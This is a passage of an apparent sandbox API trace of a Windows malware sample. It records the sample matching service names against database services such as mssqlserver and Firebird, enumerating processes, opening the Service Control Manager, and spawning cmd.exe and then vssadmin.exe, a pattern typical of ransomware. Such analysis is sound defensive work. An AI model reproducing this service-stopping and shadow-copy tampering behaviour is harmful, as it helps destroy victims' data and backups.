(lpString1="mssqlserver", lpString2="netprofm") returned -1 [0199.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0199.048] lstrlenW (lpString="NgcSvc") returned 6 [0199.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0199.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0199.049] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0199.049] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0199.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0199.049] lstrlenW (lpString="NlaSvc") returned 6 [0199.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0199.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0199.049] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0199.049] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0199.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0199.049] lstrlenW (lpString="nsi") returned 3 [0199.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.049] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.049] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.049] lstrlenW (lpString="PcaSvc") returned 6 [0199.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0199.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0199.049] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0199.049] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0199.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0199.049] lstrlenW (lpString="PlugPlay") returned 8 [0199.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.049] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.049] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.049] lstrlenW (lpString="Power") returned 5 [0199.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.050] lstrlenW (lpString="ProfSvc") returned 7 [0199.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.050] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.050] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.050] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.050] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.050] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.050] lstrlenW (lpString="RpcSs") returned 5 [0199.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.050] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.050] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.050] lstrlenW (lpString="SamSs") returned 5 [0199.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.051] lstrlenW (lpString="Schedule") returned 8 [0199.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.051] lstrlenW (lpString="SecurityHealthService") returned 21 [0199.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0199.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0199.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0199.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0199.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0199.051] lstrlenW (lpString="SENS") returned 4 [0199.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.051] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.051] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.051] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.051] lstrlenW (lpString="Spooler") returned 7 [0199.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.052] lstrlenW (lpString="StateRepository") returned 15 [0199.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0199.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0199.052] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0199.052] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0199.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0199.052] lstrlenW (lpString="SysMain") returned 7 [0199.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0199.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0199.052] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0199.052] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0199.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0199.052] lstrlenW (lpString="SystemEventsBroker") returned 18 [0199.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0199.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0199.052] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0199.052] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0199.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0199.052] lstrlenW (lpString="Themes") returned 6 [0199.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0199.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0199.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0199.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0199.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0268 | out: hHeap=0x420000) returned 1 [0199.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0199.059] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.060] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.060] lstrlenW (lpString="System") returned 6 [0199.061] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.061] lstrlenW (lpString="smss.exe") returned 8 [0199.061] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.062] lstrlenW (lpString="csrss.exe") returned 9 [0199.062] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.062] lstrlenW (lpString="wininit.exe") returned 11 [0199.062] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.063] lstrlenW (lpString="csrss.exe") returned 9 [0199.063] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.064] lstrlenW (lpString="winlogon.exe") returned 12 [0199.064] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.064] lstrlenW (lpString="services.exe") returned 12 [0199.064] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.065] lstrlenW (lpString="lsass.exe") returned 9 [0199.065] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0199.065] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0199.065] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0199.066] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0199.066] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.067] lstrlenW (lpString="svchost.exe") returned 11 [0199.067] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.067] lstrlenW (lpString="svchost.exe") returned 11 [0199.067] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.068] lstrlenW (lpString="dwm.exe") returned 7 [0199.068] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.505] lstrlenW (lpString="svchost.exe") returned 11 [0199.505] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.505] lstrlenW (lpString="svchost.exe") returned 11 [0199.505] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.506] lstrlenW (lpString="svchost.exe") returned 11 [0199.506] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.507] lstrlenW (lpString="svchost.exe") returned 11 [0199.507] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.508] lstrlenW (lpString="svchost.exe") returned 11 [0199.508] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.508] lstrlenW (lpString="svchost.exe") returned 11 [0199.508] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.509] lstrlenW (lpString="svchost.exe") returned 11 [0199.509] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.509] lstrlenW (lpString="svchost.exe") returned 11 [0199.509] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.510] lstrlenW (lpString="svchost.exe") returned 11 [0199.510] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.510] lstrlenW (lpString="svchost.exe") returned 11 [0199.511] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.511] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.511] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.512] lstrlenW (lpString="svchost.exe") returned 11 [0199.512] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.512] lstrlenW (lpString="audiodg.exe") returned 11 [0199.512] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0199.513] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0199.513] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0199.513] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0199.513] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0199.514] lstrlenW (lpString="Memory Compression") returned 18 [0199.514] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0199.514] lstrlenW (lpString="sihost.exe") returned 10 [0199.515] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.515] lstrlenW (lpString="svchost.exe") returned 11 [0199.515] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0199.515] lstrlenW (lpString="taskhostw.exe") returned 13 [0199.516] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0199.516] lstrlenW (lpString="msoia.exe") returned 9 [0199.516] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.517] lstrlenW (lpString="explorer.exe") returned 12 [0199.517] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0199.518] lstrlenW (lpString="SearchUI.exe") returned 12 [0199.518] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0199.519] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0199.519] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0199.519] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0199.519] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.520] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.520] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0199.520] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0199.521] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.521] lstrlenW (lpString="cmd.exe") returned 7 [0199.521] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.521] lstrlenW (lpString="conhost.exe") returned 11 [0199.522] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0199.522] lstrlenW (lpString="consent.exe") returned 11 [0199.522] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0199.523] lstrlenW (lpString="vssadmin.exe") returned 12 [0199.523] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.523] lstrlenW (lpString="dllhost.exe") returned 11 [0199.523] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0199.524] CloseHandle (hObject=0x3f8) returned 1 [0199.524] Sleep (dwMilliseconds=0x1f4) [0200.069] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b1c0 [0200.070] 